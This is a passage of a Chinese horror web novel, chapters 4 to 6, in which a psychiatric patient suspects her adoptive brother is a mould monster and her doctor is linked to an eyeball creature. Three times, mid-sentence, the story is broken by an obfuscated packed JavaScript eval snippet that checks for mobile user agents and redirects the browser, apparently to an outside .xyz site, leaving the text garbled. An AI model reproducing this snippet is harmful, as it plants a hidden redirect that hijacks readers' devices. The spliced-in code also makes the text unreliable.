“幻觉?”林归伞喃喃重复,颓然坐回到椅子上,眼神空茫茫的与拉斐尔对视。 拉斐尔目光未有丝毫回避,“是。” “依旧不肯信的话。”他伸出弄脏的半截衣袖,“你尽可采样化验,只是大概率得不到想要的结果。” 林归伞虽然笑着,却感觉不到自己在笑,“那就没必要多此一举了。” “还有一件事。”拉斐尔顿了顿,终是流露一丝不忍。 “如果说你因为无法接受父母的意外事故,才编造出那套怪物的幻觉。” “昨晚的事与你父母全然无关。” “林小姐。”拉斐尔强调道,“这证明你的幻觉加重,已经影响到日常生活。” “恐怕不得不暂缓此次出院,再留院治疗一段时间。” 林归伞迟钝地拿起桌上无人问津的报告,像是被抽干了精气神,只剩一具空壳,临出门前才想起来说一句,“都听医生的。” 门扉轻轻合上。 拉斐尔视线却仍停留在林归伞的背影,良久,他唇角缓慢扬起,露出绝不该出现在医生脸上,一抹愉悦的笑容。 他起身离开办公桌,来到盥洗室,随手将平光眼镜别在衣领,拧开水龙头擦洗衣袖残留的血迹。 水珠拍打在镜面,模糊镜中人的容颜。 待污渍被清洗干净,一只修长白净,却撕开一道猩红带锯齿裂隙的手,抹过镜子上的水雾。 拉斐尔面无表情直视镜中自己。 金发蓝眸,五官深邃俊朗,此时脸颊的皮肤微微鼓动,像是什么东西即将破开血肉。 一只眼睛睁开了,长在这张脸上多余的第三只眼睛。 骨碌碌转了一圈,然后便没有多余的行为,似乎只是憋得狠了,出来放一下风。 吱呀。 突兀响起的推门声。 拉斐尔不紧不慢将这颗眼球按了下去,脸颊的豁口闭合,又恢复到从前光滑平整的状态。 他带上银框眼镜,金属防滑链随着转身的动作微微摇晃。 “还有什么事吗,林小姐?”拉斐尔若无其事笑道。 林归伞去而复返,没有进办公室,而是自门口探头,眼神下意识捕捉到拉斐尔洗得干干净净的袖子。 她刚要说的话停顿了片刻,这才吐出。 “本来我哥要接我出院的,没想到发生了这种意外。” “刚才护士说,哥他已经在病房等我。” 林归伞犹豫道:“可以麻烦医生,替我说明一下延迟出院的原因吗?” 4. 第 4 章 向家属说明病人的情况,本就是医生的职责。 拉斐尔自然没有拒绝的理由,“好,那我就陪林小姐走一趟。” 办公室离病房的距离不算多远,路上遇到的病人护士都会向医生打招呼,看得出来拉斐尔医生的人际关系很好。 这副热闹的场景,让林归伞对昨晚所见,医院的一片死寂感到愈发虚幻。 推开病房门之前,林归伞深呼吸了一口气。 一想到就要正式与那个披着林雨停皮的怪物见面,即便做足了心理准备,依旧不可避免感到紧张。 门后是宽敞明亮的房间,属于她的私人物品在昨晚被收拾得差不多,呈现出冰冷空荡,毫无生活气息的状态。 一个身材瘦削的青年站在病床前,听到动静迫不及待转身。 他有着一张与林归伞一模一样的脸。 细长柳叶眉,温润而恬淡的杏眼,笑起来时会露出酒窝,乍一眼不惊艳,却是让人舒心的漂亮。 此刻,这张女性化的面容就安在成年男子的身体上,幸亏他身材并不壮硕,气质也是烟雨空濛般的忧郁。 加上唯独与林归伞不同,左眼角的一颗泪痣,才会不让人觉得惊悚。 拉斐尔仍是看愣了一下,调侃道:“该说不愧是亲兄妹吗?我险些以为有两个你。” 林归伞抿了抿唇,语气生硬,“他与我不是亲生的。” 气氛有一瞬的凝固,任谁都能听出她话语中对养兄的排斥。 林雨停神色一滞,短暂的变化快得像错觉,宽和大度的模样揉了把林归伞的脑袋。 她全身僵硬,不敢躲。 “妈身体不好,早些年一直怀不上,于是收养了我,这之后没几年就生出了小伞。” 林雨停俯身,将林归伞一缕乱发别到耳后,“我一直觉得是咱俩有缘,毫无血缘关系的两个陌生人,一前一后来到同一个家庭,还有着奇迹般相似的容貌。” “你说是吗,小伞?” 林归伞感受着浑然不似人的冰冷指尖,若有似无擦过耳畔,寒意几乎浸透了骨髓,即便如此,她依旧没有点头向怪物妥协。 “你好,我是小伞的哥哥,林雨停。” 林雨停不是第一次被她无视,对此早已习惯,他唇角牵起一抹友善的笑容,紧接着朝拉斐尔伸出手,“这位就是小伞的主治医生吧,多谢你对她的照顾。” 拉斐尔回握住他,客气道:“这是我作为医生的本职。” “嗤!” 拉斐尔抬眸,看向发出疑似嗤笑的人,“林先生?” 林雨停歉意地抽回手,“不好意思,没有针对医生的想法,只是想到些有趣的事。” 拉斐尔没有追问。 林雨停更不会向他解释什么,见一旁林归伞走到行李箱前,主动过去帮忙,“行李我来拿吧,今天特意向公司请了假,就是为了接你回家。” “不用。”林归伞争抢不过,见他态度坚持,竟直接按开了行李箱的锁扣。 顿时箱子弹开,里面的衣物散落一地。 林雨停手里还提着剩个空壳的行李箱,不知所措站着,直到林归伞沉默地弯腰收捡衣服,才轻轻唤了她一声。 “小伞。” 理所当然没有任何回应,他知道妹妹在故意让他难堪。 在场唯一的局外人轻咳一声,打断兄妹俩莫名僵持的氛围,“林先生,恐怕林小姐今天还不能出院。” 林雨停转头,眼神轻飘飘扫过来,“医生这是什么意思?” 拉斐尔对他眼中的阴沉视若无睹,优雅自持的笑容竟似挑衅,“林小姐的幻觉症状加重,还要留院治疗一段时间。” 林雨停神色骤然转冷。 “哥,医生说的没错。”林归伞不用抬头,也知道这怪物脸上会是怎样的神色。 她担心怪物会迁怒无辜的拉斐尔,更怕自己一时袒护,反倒激怒了怪物。 因此林归伞闷头整理衣服,装作漠不关心。 二人私底下时怪物肆无忌惮,但至少在外人面前,怪物从来都是一副合格的兄长做派。 这也是林归伞明知危险,也犹豫着邀请拉斐尔前来解释病情的原因。 林雨停将行李箱放好,垂眸看向林归伞,只能见到她瑟缩埋着的脑袋。 这些天来第一次叫他一声哥,却是为了维护一个外人。 “医生,我们出去说。” 林归伞豁然抬头。 “放心吧。”林雨停将门带关前,朝她安抚一笑,“只是和医生讨论你的病情,有什么事不会瞒着你的。” 林归伞松了口气,知道他这是不追究的意思。 但还是不放心凑到猫眼前往外看。 拉斐尔正背对她说些什么,她听不到他与怪物的对话,但看二人交谈的姿态,应当还算融洽。 随着拉斐尔的叙述,林雨停眉间渐渐染上忧色,时而朝病房看过来一眼,露出无奈而苦涩的表情,在走廊人来人往的背景中,是那么普通。 将一个为妹妹忧心的兄长形象,演绎得淋漓尽致。 林归伞忽而冒出一个念头。 会不会,不是演技? 昨晚披着人皮的护士,吸食脑髓的眼球,光怪陆离的景象都是她的幻觉。 那么林雨停被怪物取代杀害父母,这件事是否也是她脑中妄想? 事情的真相或许如邻居那对夫妻所说,父母出了意外事故,她受不了打击,擅自将罪魁祸首的名头丢给林雨停,沉浸在自己幻想的世界。 她是真的有病。 林归伞被这个想法吓到了,但更令她恐惧的是,承认她有病,一切就变得符合逻辑起来。 这个世界上本来就没有怪物不是吗? 那她岂不是一直以来,深深误会了林雨停? 刚才她还在刻意让林雨停难堪,怪不得邻居对自己会是看白眼狼的眼神。 她也觉得自己是头不折不扣的白眼狼! 于是,当林雨停重新回到病房,就见林归伞坐在病床上,脸色比起之前还要苍白,就像一只寻不到巢穴的飞鸟,惶然而怯弱地喊了他一声。 “哥。” 林雨停听到了自己的声音,简直柔和得不像话,“怎么了?” “医生呢?”林归伞先问了一句。 “他有事要忙,就先走了。” 林归伞张了张口,喉咙里像有一层无形屏障,堵塞她接下来的话语,她早已习惯对林雨停回避的态度,如今主动打破这份隔阂,她才发觉有多艰难。 “哥,过来坐。”她拍了拍身边的位置,嗓音细如蚊讷,“我有些话想对你说。” 有多久没有与她心平气和对话了? 林雨停稍稍睁大眼睛,眸中蓄起一层水光。 情绪激动时他总会忍不住落泪,狠狠闭了下眼皮,眨去眼中水光与怔忡神色。 “好。”他温声应答,坐在林归伞身边,“小伞要对我说什么?” 林归伞骗过头,打量那张仿佛与自己照镜子的容颜,迟疑片刻伸手覆上他手背。 依旧是极为冰冷的体温,冻得她半个手臂失去知觉。 林归伞按耐心中下意识的恐惧,视线上移,诧异看到林雨停整个人都呆呆的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831285|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随即露出惊喜无比的笑,紧紧回握住她的手。 见他这副反应,林归伞只有种尘埃落定的感觉。 “医生应该已经同你说了,但我觉得有必要自己再跟你说一遍。”她将昨晚的遭遇,包括后来与医生的对话,证实一切都是幻觉的事,向林雨停逐一说清。 林归伞笑了笑,强忍泪意将头枕在林雨停的肩膀,话语仍带哭腔。 “对不起,哥,真的很对不起,一直将你当做杀害爸妈的凶手,我——” 林雨停许久都没有说话。 林归伞心中恐惧越深,却是害怕失去最后一个亲人。 她仰头,眼前映入的景象与想象中截然不同。 林雨停丝毫没有生气的迹象,他正用一种古怪的,不合时宜含着笑的目光注视林归伞。 “小伞。”他收拢指尖,更紧密地握住林归伞的手,“你真的认为那些都是幻觉吗?” 林归伞掌心一凉,感觉到有什么冰凉滑腻的东西,稍稍一动就被挤压出粘稠汁水,鼻尖嗅到腥腐的气息。 她浑身如被定住般不敢动弹,只有眼球转动,看向她与林雨停交握的手。 那已经不能算人类的手。 灰绿色的,长满细密绒毛的霉菌覆盖住整条手臂,将血肉侵蚀成泥一样的软烂触感,不断有黑色的尸液流淌下来,打湿了床单。 林归伞呼吸打着颤,胸口不住起伏,视线缓缓上移,看到了林雨停那张与自己如出一辙的脸。 瞳孔死灰发白,虹膜中漂浮着菌斑,大半张脸颊被霉菌腐蚀一空,露出森白的牙齿与颧骨。 林归伞再也忍不住,尖叫一声,一把甩开怪物的手。 早已烂得不成型的手臂经不住她的力道,血肉如融化的蜡烛般滑落,骨骼咔嚓一声断裂。 唯独五根指骨死死嵌在她手上,导致那截断裂的手臂,依然维持与她交握的姿态,其上遍布的霉菌蔓延过来,触感滑腻到令人作呕。 林归伞退无可退,缩在墙角,一边用力拽那截断手,一边蹬腿试图踹开还在不断靠近她的怪物。 这时,她看到怪物动作一顿。 一颗又一颗蔚蓝色的眼珠,如寄生虫卵般自怪物的身体内部生长出来,密密麻麻迅速挤占了怪物每一寸体表。 砰地一声,像是爆炸的气球。 怪物的身体轰然炸开,连同握住林归伞不放的那截断手一起,暗沉腥臭的血液浇了她满身。 林归伞怔怔的,对上了一颗蔚蓝的眼球。 近在咫尺的地方,似乎是审视了她一会儿,眼球合上消失在空气中。 腥臭的气味也消失了,怪物炸开的血肉无影无踪。 眼前仍是那间整洁明亮的病房,仿佛所有一切都未发生过。 林归伞仓促下了床,打开门看了走廊一眼,又回头环顾病房一圈。 没有林雨停的身影,他就像从未来过。 她听到手机铃响的声音。 打开屏幕,是林雨停发来的信息。 [我没事,小伞不用担心。] 林归伞熄灭了手机屏,虚脱地滑坐在地上,盯着窗外繁花盛开的景色,不知为何心情是前所未有的轻松。 有两个好消息。 一是她没病,父母的事还有昨晚的经历绝不是幻觉! 她差点忘了,怪物能够修改人的认知,也许在外人看来是她莫名其妙发疯,但真相只有她知道。 二是疯人院里藏了一个眼球怪物,有能力伤到林雨停。 她完全可以利用这只眼球怪物,去对付披着林雨停皮囊杀害她父母的另一只怪物。 5. 第 5 章 “哥,怎么今天又来了?” 病房门被推开的时候,林归伞正在看书。 小时候条件不好,没钱买手机,学习和娱乐都是通过图书馆借阅进行的,电子书普及的现在,纸质书倒成了她的安全感。 即便被怪物关在家的混乱时光,也只有她看书的间隙,能心平气和与装作林雨停的怪物聊上几句。 当然,这份平静总维持不了太久,不是怪物突然变脸,就是她发疯。 “你要延迟出院,不知道原先带过来的行李够不够。”林雨停不是空手来的,提着大包小包的物品,咚一声轻轻砸在床头柜上。 “呼——”他体力表现得像个正常人,比正常人还弱一些,一路上提着东西,累得额头渗出细汗,“衣柜里的衣服太多,我不清楚你要哪几件,就全都打包带来了。” 林雨停解开鼓囊囊的包,一件又一件地往外掏,“你最喜欢的玩偶抱枕,翻得勤快的几本书,想买新书了记得跟我说一声。” “还有最近天气要变冷了,我给你带了暖手袋,记得多穿几件衣,照顾好自己别感冒了。” “哥!” 林归伞陡然出声,打断他的絮絮叨叨。 每当这怪物顶着与自己愈渐相似,却又十分陌生的脸,做出与林雨停一般无二的行为,她都难以忍受。 仿佛在提醒她哥哥不在了,被怪物取代,而这怪物说不准下一个目标就是她。 林雨停话音顿时哽住,垂下纤长浓密的眼睫,从包里取出最后一样东西,摊开来递到林归伞面前,白皙掌心里是一颗色泽鲜艳的苹果。 他露出无措的,又有些许为难的笑,“我还给你带了水果。” 林归伞盯了他片刻,将书签别到看完的那一页,合上书,随手放在床头柜,随后别过头远眺窗外的景色。 “我都这么大了,自己的事能一个人处理好,哥你平时也忙,不用费心照顾我。” 林雨停不甚在意地说:“多大了在我眼里都是个小孩,哥没你想的那么忙,有的是时间陪你。” 林归伞忽然转头,扫了他一眼。 怪物的确不忙,工作挂在嘴上是他的人设表演,只要稍稍修改一下公司成员的认知,闲来无事还工资照发。 林归伞第一次试图逃跑,就是栽在这一点,刚开门便撞在直挺挺站门口的怪物身上。 与她毫无血缘关系,却有着如出一辙的相貌,整天看守她不让她逃跑,出勤率都这样了工资还全额发放。 种种异常,让她实在无法认为怪物是她眼中幻觉。 林归伞没接怪物的话茬,随意找个由头绕开这个话题,“哥,你帮我削个苹果吧。” “嗯。” 林雨停自然毫不犹豫应下,心情肉眼可见愉悦几分,只是注意到当他拿刀削苹果皮时,林归伞的视线一直若有似无徘徊在刀尖。 她想捅他。 林雨停顿了顿,迅速切好果盘,擦干净刀身后,烫了手似的将水果刀扔远。 “对了,你学校那边——” 他不经意提起林归伞在乎的学业,果不其然将她注意力拉了回来。 “我昨天给你导师打了个电话,说你短时间来不了学校,这个假还要继续请下去。” “医生有说你多久才能好吗?” 林归伞默了会儿,嗓音有些闷,“不知道。” “那要不干脆办理休学,一直请假也不是办法。”林雨停给出合理的建议。 她上不了学究竟是谁的错! 要你假好心! 就在那一天,她的家庭、学业,她拥有的一切都没了,生活被怪物侵占,甚至被视作一个疯子,押送进的精神病院! 林归伞猛地抬头,积累在心中的负面情绪,如荒原上的野火般,烧得势不可挡。 她眼眶发红,只用一种痛恨又哀求的目光,死死盯着面露忧色的怪物,“你到底想做什么?” 林雨停神色慌乱,声音弱了下来,“我是不是说错话了。” 猛然的情绪爆发后,留给林归伞的是深深的疲惫,她不知道怪物还要与她上演兄妹情深的戏码多久,已经懒得陪他演下去。 她抄起怪物准备的果盘,“吃!” “然后堵上你这张嘴。” 林雨停没动。 “你不吃我吃。”林归伞用牙签叉起一块苹果,就往嘴里送。 手还在半空,就被林雨停突然攥住,一时间动弹不得。 “干嘛?”林归伞不耐,“你削的苹果不让我吃?” 林雨停神色莫名,就着林归伞的手,抢在她面前一口叼走了苹果。 他嚼了几下,全程皱着眉咽下去,眼中不自禁泛起泪意,颇为委屈地说:“苦的。” “那是当然,我刚洒了些抗精神病药物。”林归伞补充,“致死量。” 林雨停并不感到意外,像是早对此习以为常,无奈叹了口气,当着林归伞的面,将毒苹果吃得一干二净。 “好孩子不要学我。”他将盘子也擦拭一道,严肃对林归伞说,“你不许吃。” “我没你这么傻。”林归伞一句话噎得他不轻。 “还有,医院里做手脚没那么简单,刚才那点药顶多让你头晕恶心一阵子。” 林归伞端详他几眼。 提个大包都累得不行,身形瘦得像根豆芽菜的人,服用过量药物后居然一点事也没有。 果然前者是演技,后者才是真实情况。 普通的物理手段和化学药剂都无法伤到这个怪物,只有昨天那个医院地下室的眼球怪物。 只有祂给面前这个怪物造成了切实伤害。 林归伞心里想着事,没聊多久就打发走了林雨停。 她开始思考眼球怪物的情况。 这所医院住了也有几个月,前天晚上还是第一次遇见眼球怪物。 也有可能,与她只有那天晚上睡不着乱跑有关。 林归伞找来一个笔记本,在上面写下“夜晚出没”四个字,又在后面打了个问号。 紧接着写下一行“疯人院是眼球怪物的领地”。 林雨停的怪物形态她是见过的,绝不是那天所见的腐尸,而是各式各样的霉菌细菌覆盖,色彩斑斓形状归整,忽略惊悚感,甚至称得上一句漂亮。 因此林归伞有理由猜测,林雨停踏入医院状态会被削弱,一旦表露威胁就会被眼球怪物强行驱逐。 至于第三点,林归伞迟迟没有动笔。 墨水自笔尖向外渗透,在纸上洇开大片黑斑。 她的思绪也被牵引回漆黑的夜里,如果那晚她所见到的并非幻觉,护士披了人皮,将病人送入地下室供眼球怪物吸食脑髓,还有脸上长满眼球的医生。 如果这些都不是假的,而是确有其事—— 咚咚咚! 忽然响起的敲门声,惊得林归伞下意识藏起笔记本,惊惧地看向门口。 “不好意思,吓到林小姐了?” 来人是主治医生拉斐尔,他身后还跟着几位护士,“到了每天例行检查的时间,林小姐现在方便吗?” 林归伞谨慎地点点头,端详拉斐尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831286|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那张面容。 说起来,拉斐尔医生有一双蓝眼睛。 和眼球怪物一样。 例行检查就是护士每日跟她体检,期间拉斐尔与她聊天,确认精神状态。 不过今天有所不同。 看出林归伞对他们陡然生出防备心理,一举一动都显得拘谨,像是随时警惕护士变脸冷不丁张开血盆大口。 拉斐尔提议道:“林小姐,今天阳光不错,要不要跟我出去走走?” “医生?”林归伞不明白他的用意。 拉斐尔笑着说:“适当的运动和欣赏美景,有助于心理健康。” 他回过头偷瞄了一眼,见护士收好听诊器血压仪等器械,正向门外走。 仗着她们听不见,他倾身靠近林归伞,食指抵在唇前,用只有他们二人能捕捉的音量狡黠道:“刚好我也趁机摸一会儿鱼。” 林归伞被他逗笑,不自觉松懈几分,“好啊。” 花园里,有许多穿着和她一样病号服的病人,林归伞特意留心他们的长相,从中找到了一张熟悉面孔。 正是那晚被眼球怪物吸食脑髓的病人之一。 三十岁左右的普通长相,神色木讷寡言,举止有几分孩童的稚拙。 他正坐在树下荫凉处,歪歪扭扭拿着油画笔涂鸦,身后赫然是将他送入地下室,撬开他头盖骨的那名护士! 疑似患有自闭症的男人停笔,脸上没有表情,乖巧向护士展示他的画作。 护士似乎笑了一下,温柔地摸了摸他的脑袋。 林归伞猛然收回视线,又借着余光打量。 刚才那一幕仿佛是她多想,护士的动作一触即分,这之后二人的表现都很正常。 “怎么了?” 察觉她散步时分心,拉斐尔问了一句。 “没什么。”林归伞心不在焉,转头却对上拉斐尔镜片后蔚蓝色的双眼。 “对了,我想问医生一件事。” 拉斐尔眨了眨眼,被她直勾勾的眼神看得不自在,“说吧。” “急诊楼一层的楼梯间,有一扇上锁的门,我看其他楼层的同一个位置都没有门,唯独那里有。” 林归伞轻声问,“所以那扇门的背后是什么?” 拉斐尔没有第一时间回答,停下脚步,用一种沉默却复杂的目光凝视着她,许久后才叹声开口,“你觉得是什么?” “长着翅膀的眼球怪物?” 林归伞瞳孔一缩,紧接着后退几步,“医生怎么知道的?” 拉斐尔:“……你自己说的,出现在幻觉里的怪物。” “放轻松。”他扯了扯脸皮,倍感好笑,“我是货真价实的人,脸上也没长多余的眼珠子。” “还是说你觉得我在骗你,前天晚上看到的一切都不是幻觉,医院里的医生护士,有一个算一个都是怪物的帮凶?” 拉斐尔每多说一个字,林归伞的心跳便快上几分。 自己的心思被他猜透了。 “是不是觉得你的心思被我猜透了?” 林归伞一阵悚然。 拉斐尔却笑得愈发无奈,“我可是你的主治医生,精神病学和心理学上的,你那颗奇思妙想的大脑在想什么,我比你自己还了解。” 林归伞顿时恼羞成怒,“医生!” “好了好了,不开玩笑。”拉斐尔告饶似的举手投降,“既然这么想知道那扇门背后的秘密。” 他向林归伞发出邀请,银框眼镜后,蔚蓝色的眼珠微微转动,“等改天有时间了,我亲自带去你一探究竟。” 6. 第 6 章 医生答应亲自打开那扇门,带她去眼球怪物所在的地下室。 为什么? 难道是眼球怪物筹划了一场请君入瓮的陷阱? 还是说,拉斐尔当真如他表现的那样,以为这些不过是病人脑补的幻觉,对此一笑置之? 林归伞一时间踟蹰不定。 她忽然想起,原定出院前的那晚,她其实遇到了两个医生。 一个脸上遍布眼球,另一个表现得与常人无异,甚至喝止她在走廊上奔跑,将她送回的病房。 再联想第二天拉斐尔袖子上的血迹。 莫非拉斐尔那天晚上的确与她见过面,只是记忆被眼球怪物修改,编了一套自圆其说的海马效应? 如此说来,拉斐尔就不是眼球怪物的帮凶了。 与绝大多数普通人一样,无知无觉活在怪物们精心导演的世界里,意识不到平静日常下的诡谲暗流。 林归伞松了口气,紧接着又想到一个问题—— 那怪物医生又代表了什么? 眼球怪物为什么会有一个医生形象的手下? “医生。”林归伞凝重地询问,“你是不是有个双胞胎兄弟?” 就像家里扮成他养兄的霉菌怪物一样。 拉斐尔:“……不,我是独生子女。” 林归伞转过身来,双手郑重地搭在拉斐尔肩膀上。 “警惕随时可能冒出来的二重身,照镜子的时候千万不要玩猜拳!” 她拼命搜刮恐怖电影里的类似情况。 拉斐尔哭笑不得,“林小姐,你还是认为那晚所见并不是幻觉,遇到的两个我,其中一个是我,另一个是披着人皮的怪物吗?” “虽然很感谢你把我当成人看待,但我再强调一遍——” 拉斐尔推了推眼镜,蔚蓝的瞳孔折射出剔透冷光,“这个世界上没有怪物,你我都是芸芸众生中的普通人。” 林归伞一心认定怪物的存在,根本没听进去拉斐尔苦口婆心的话语。 她再次注意到拉斐尔的蓝眼睛,眼白干净,几乎没有红血丝,虹膜呈现大海般蔚蓝的色彩,随光线流动变化,时而澄澈空明,时而深邃神秘。 很漂亮的一双眼睛。 林归伞灵光一现,聪明的大脑飞速转动。 真相只有一个—— 既然都是眼球怪物了,xp一定是眼睛。 有没有一种可能,拉斐尔这双蓝眼睛俘获眼球怪物的芳心,让祂不惜捏出一个替身,还丧心病狂让替身脸上长满眼睛? 林归伞顿时豁然开朗,随即生出深深的,对拉斐尔清白之身的担忧。 她不是胡思乱想,而是拉斐尔的处境与她十分相似。 身边藏着一个怪物,怪物还侵犯自己的肖像权。 只是与她的清醒不同,拉斐尔还被蒙在鼓里。 林归伞拍了拍拉斐尔的肩膀,用同病相怜的语气说:“医生,男孩子出门在外也一定要小心。” 拉斐尔:“……” 有时候他真的很想撬开病人脑壳,看看他们怎么冒出这些奇妙的想法。 “林小姐。”拉斐尔维持着礼貌得体的微笑,“关于我刚才的邀约。” 林归伞这才想起她还没有答复,“好啊,等医生有空,带我去急诊科那扇门背后探险吧。” 她总归要搞清楚眼球怪物的事,好利用祂对付家里那只霉菌怪物。 林归伞难得满怀期待,迎接第二天的到来。 她先等来的不是医生,而是那道无数次出现在她噩梦中的身影。 林雨停推门走入,一眼望见她脸上来不及收起的笑,“这么期待哥哥来探望你呀?” “你想多了。”林归伞淡淡道,“来得这么勤,就不怕公司那边缺席扣工资吗?” 林雨停笑了下,“老板人很好,体谅我的特殊情况,不会在意的。” 怎么可能? 分明是你篡改了他们的认知。 林归伞是真的有些同情与他一个公司的冤种打工人。 怪物总不可能修改记忆时顺带处理工作,原本属于林雨停的那一份,自然要分摊给其他人。 又或者怪物神通广大到,现实的篡改只在祂一念之间,工作无需分摊,因为仿佛真的有一个林雨停按时上班勤恳打工。 前者只是苦了那些与她素不相识的冤种社畜,后者倒霉的就是她,对付怪物的难度直线上升。 林归伞还想到了一件事。 已经连续三天,林雨停前来探望她,这在前几个月可是不常见的。 为什么频率一下子提高了? 林归伞敏锐察觉到,林雨停隐藏的焦躁。 简直像有什么超出祂掌控,威胁祂的存在出现了。 除了医院地下室的眼球怪物,还有他选吗? 林归伞不相信,怪物们之间感知不到同类的存在,就连野兽都能分辨领地。 此前林雨停还放心将她扔在疯人院,为什么现在开始焦躁了? 林雨停的转变是从什么时候开始的? 她原定出院的那一天! 又或许是前一天晚上,她受怪物医生的蛊惑,来到地下室直面眼球怪物。 她眼前再次浮现眼球怪物随后驱逐林雨停的那一幕,蔚蓝的眼珠飘浮在她鼻尖前,投以审视的目光。 此种情形,只能让林归伞想到一个理由解释。 不是拉斐尔,而是她。 沦为眼球怪朝思暮想的猎物。 她成为了两个怪物共同争夺的目标。 甚至于,林归伞还冒出一个更加可怕的猜想—— 为什么能够轻易修改邻居认知的林雨停,会迫于外界舆论将她送入疯人院? 真相可能不是她揣测的,送她进来修补濒临崩溃的精神。 林雨停并非迫于舆论,而是迫于眼球怪物的操纵。 邻居那对夫妻说她是疯子,实则是眼球怪物在背后提着傀儡线,借他们之口将林归伞诱导进祂的领地。 林雨停将她关在屋子里,是为了私藏她。 而她自己逃出来,傻傻送到了眼球怪物的面前。 林归伞脸上血色尽失。 如此说,眼球怪物远比林雨停更为棘手。 这让她不禁怀疑,自己有没有能力驾驭眼球怪物,让祂同林雨停鹬蚌相争。 无论如何,是林雨停杀害她父母,毁了她的人生,这一点毋庸置疑。 比起回到林雨停身边,她更情愿待在疯人院。 “在想什么?”林雨停见她沉默不语,像是被吓到,脸都白了几分,不由得担忧问。 林归伞眼神幽幽,语速也慢吞吞的,“哥,你要争气。” 至少跟眼球怪物极限一换一,好让她彻底免除了后顾之忧。 林雨停还以为她依旧在讨论工资的事,没好气道:“别瞎想,公司缺席几天不妨事,我工资还是够的,养一个你绰绰有余。” 林归伞也没纠正他的误会,转换话题说起自己关心的事,“学校那边,我还不想申请休学。” “可这个学期就快结束了。”林雨停坐在病床边,与她商量,“你缺课了好几个月,只怕跟不上进度。” 林归伞指了指一旁的书籍和电脑,“我一直在看网上授课。” “就这么不情愿休学?”林雨停问道。 林归伞抿唇,点头说:“我不想错过任何学习的机会,晚一点都不行。” 林雨停叹了口气,“以前怎么没发现你性子这么急。” “不休学也可以,我跟你老师说再请假一段时间,但休假不是无期限的,你得尽早出院。” 林归伞弯了弯眼睛,第一次因为怪物养兄露出笑容。 父母不在,她的家庭已经毁了,学业是她唯一能抓住的,回归日常生活的媒介。 她想摆脱怪物,撕下精神病的标签,从这所疯人院痊愈。 林雨停看着她浅淡的笑容,一时有些失神,片刻后他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831287|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也跟着露出一抹笑,从容反问,“就这么有信心痊愈吗?” 林归伞怔了怔。 “是不是觉得你的心思被我猜透了?” 林雨停笑意加深,“我可是你的养兄,虽然是非生物学上的,你那颗奇思妙想的大脑在想什么,我比你自己还了解。” 熟悉的话语,就在昨天经拉斐尔之口说出,如今被林雨停意有所指地重复,让林归伞顿时毛骨悚然。 “你怎么知道的?” 林雨停歪了歪头,满面无辜,“不是小伞你要我争点气吗?” 他轻柔揽住林归伞的后脑,让她侧脸枕在自己胸膛前,下巴抵在她头顶,不时摩挲她柔顺的黑发。 体温是冰冷的,呼吸也不带丝毫温度,胸膛里空荡荡听不见心跳。 就像一句僵冷的尸体,给了她一个亲密拥抱。 “这才过了几天。”她听到林雨停悲伤的叹息,“你就勾搭上一个男人,还要与他合谋,对付哥哥我。” 林归伞颤抖的呼吸霎时一滞,蜷缩在林雨停的怀抱里,只感觉被无穷无尽的绝望包围。 祂在监视自己。 将她昨天从拉斐尔口中打探眼球怪物的消息,意图借另一个怪物消灭祂,这一事实明明白白看在眼中。 “有的时候,我真想打断你的手脚,把你藏在谁也找不到的地方。” “可我又舍不得。” 林雨停捧着她的脸,迫使她抬头与自己对视,蹙起的眉间氤氲化不开的忧郁,眼眶微红,清澈泪水逐渐化作漆黑粘稠的尸液流淌下来。 “你说我该拿你怎么办?” 林归伞徒然摇着头,嗓子像是被卡住,一句话也说不出来。 这时门外传来锁扣滑动的声音。 她转动眼珠,瞥见墙上的挂钟,又到了例行检查的时间。 “医生,不要……” 林归伞费尽了力气,才艰难挤出气音。 可实在太晚,拉斐尔已经携几个护士推开了门。 “林小姐,你刚才说不要什么?”拉斐尔朝林雨停点头打了个招呼,随后茫然问。 林归伞本已死寂的眼眸眨了眨,重新恢复光彩。 林雨停没有如她想象的那般大开杀戒,而是松开这个拥抱,腼腆地说:“方才小伞有些激动,我就抱了抱她,可能是不好意思被医生看到吧。” 拉斐尔应了一声,手电筒照了下林归伞的眼睛,听了遍她心跳,“过度惊悸,我给她开一记镇定药。” “方便的话,家属能在外面等吗?” 林雨停没说什么,最后看一眼林归伞陡然安心的表情,离开了病房。 “已经没事了。” 听到拉斐尔这句话,林归伞没忍住从病床上半跪起身,死死抱住拉斐尔。 她心底只有劫后余生的庆幸,迫切需要什么鲜活温热的东西,洗去怪物带给她的冰冷。 